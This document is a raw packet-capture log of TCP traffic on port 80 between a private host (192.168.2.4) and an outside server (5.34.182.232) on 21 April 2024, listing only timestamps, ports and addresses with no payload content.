                                                          Apr 21, 2024 15:22:38.216736078 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.216763973 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.216800928 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.216837883 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.216845036 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.216875076 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.216912031 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.216922045 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.216950893 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.216988087 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.216995955 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.217025042 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217031002 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.217061996 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217098951 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217108011 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.217135906 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217175007 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217184067 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.217211962 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217251062 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217287064 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217299938 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.217324972 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217361927 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217372894 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.217402935 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217408895 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.217442989 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217479944 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217492104 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.217519045 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217556953 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217561007 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.217597008 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217634916 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217653036 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.217673063 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217709064 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217720985 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.217747927 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217783928 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217792988 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.217822075 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217859030 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217897892 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217911005 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.217935085 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217971087 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.217984915 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.218008995 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.218022108 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.218046904 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.218082905 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.218090057 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.218121052 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.218157053 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.218166113 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.218203068 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.218241930 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.218251944 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.218280077 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.218319893 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.218355894 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.218364954 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.218395948 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.218442917 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.455846071 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.455931902 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.455940008 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.455972910 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456015110 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456028938 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456053019 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456089973 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456119061 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456157923 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456187963 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456197977 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456211090 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456238985 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456252098 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456281900 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456293106 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456322908 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456335068 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456362009 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456378937 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456401110 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456439972 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456464052 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456476927 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456513882 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456527948 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456554890 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456578016 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456592083 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456603050 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456629992 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456643105 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456669092 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456679106 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456707001 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456743956 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456751108 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456783056 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456820011 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456832886 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456859112 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456867933 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456896067 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456932068 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.456944942 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.456971884 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457007885 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457019091 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457046032 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457055092 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457083941 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457120895 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457132101 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457159996 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457201004 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457207918 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457241058 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457252026 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457279921 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457317114 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457329035 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457355022 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457395077 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457406998 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457433939 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457442045 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457473040 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457511902 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457515955 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457549095 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457555056 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457555056 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457587004 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457592964 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457624912 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457628965 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457662106 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457700968 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457715034 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457740068 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457760096 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457779884 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457818031 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457844973 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457844973 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457855940 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457870960 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457895041 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457931042 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.457945108 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.457968950 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458008051 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458007097 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458007097 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458046913 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458084106 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458096981 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458122015 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458158970 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458163023 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458198071 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458230019 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458239079 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458247900 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458277941 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458287954 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458316088 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458332062 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458354950 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458367109 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458395004 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458411932 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458436012 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458448887 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458473921 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458489895 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458512068 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458540916 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458549976 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458564043 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458587885 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458595991 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458627939 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458636999 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458666086 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458703995 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458709955 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458743095 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458781958 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458791971 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458820105 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458832979 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458858967 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458892107 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458897114 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458913088 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458935976 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458951950 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.458973885 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.458986998 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459013939 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459022045 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459050894 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459065914 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459090948 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459101915 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459129095 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459136009 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459167957 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459181070 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459207058 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459223986 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459245920 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459255934 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459283113 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459321022 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459331036 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459358931 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459395885 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459412098 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459434032 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459450960 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459471941 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459511042 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459527016 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459549904 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459592104 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459600925 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459620953 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459630966 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459655046 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459671021 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459708929 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459722042 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459747076 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459773064 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459784985 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459825039 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459840059 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459862947 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459899902 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459924936 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459937096 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.459949017 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.459975958 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460015059 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460027933 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460052967 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460089922 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460114956 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460138083 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460144997 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460184097 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460218906 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460231066 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460258007 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460273981 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460297108 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460300922 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460335016 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460338116 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460372925 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460378885 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460412025 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460450888 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460462093 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460489035 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460506916 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460529089 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460532904 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460576057 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460581064 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460613966 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460649967 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460656881 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460690022 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460726976 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460747957 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460764885 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.460768938 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.460913897 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.461486101 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.461544991 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.461550951 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.461584091 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.461622000 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.461632013 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.461658955 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.461697102 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.461707115 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.461735010 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.461739063 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.461776972 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.461781979 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.461816072 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.461853981 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.461863995 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.461899042 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.461947918 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.699408054 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.699470043 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.699481964 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.699508905 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.699527025 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.699548960 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.699553013 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.699587107 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.699589968 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.699630022 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.699687958 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.699698925 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.699711084 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.699737072 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.699753046 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.699776888 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.699783087 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.699819088 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.699822903 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.699856997 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.699857950 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.699896097 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.699902058 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.699934006 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.699934959 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.699971914 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.699978113 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.700011969 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.700047970 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.700050116 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.700086117 CEST80497405.34.182.232192.168.2.4
                                                          Apr 21, 2024 15:22:38.700120926 CEST4974080192.168.2.45.34.182.232
                                                          Apr 21, 2024 15:22:38.700145960 CEST4974080192.168.2.45.34.182.232
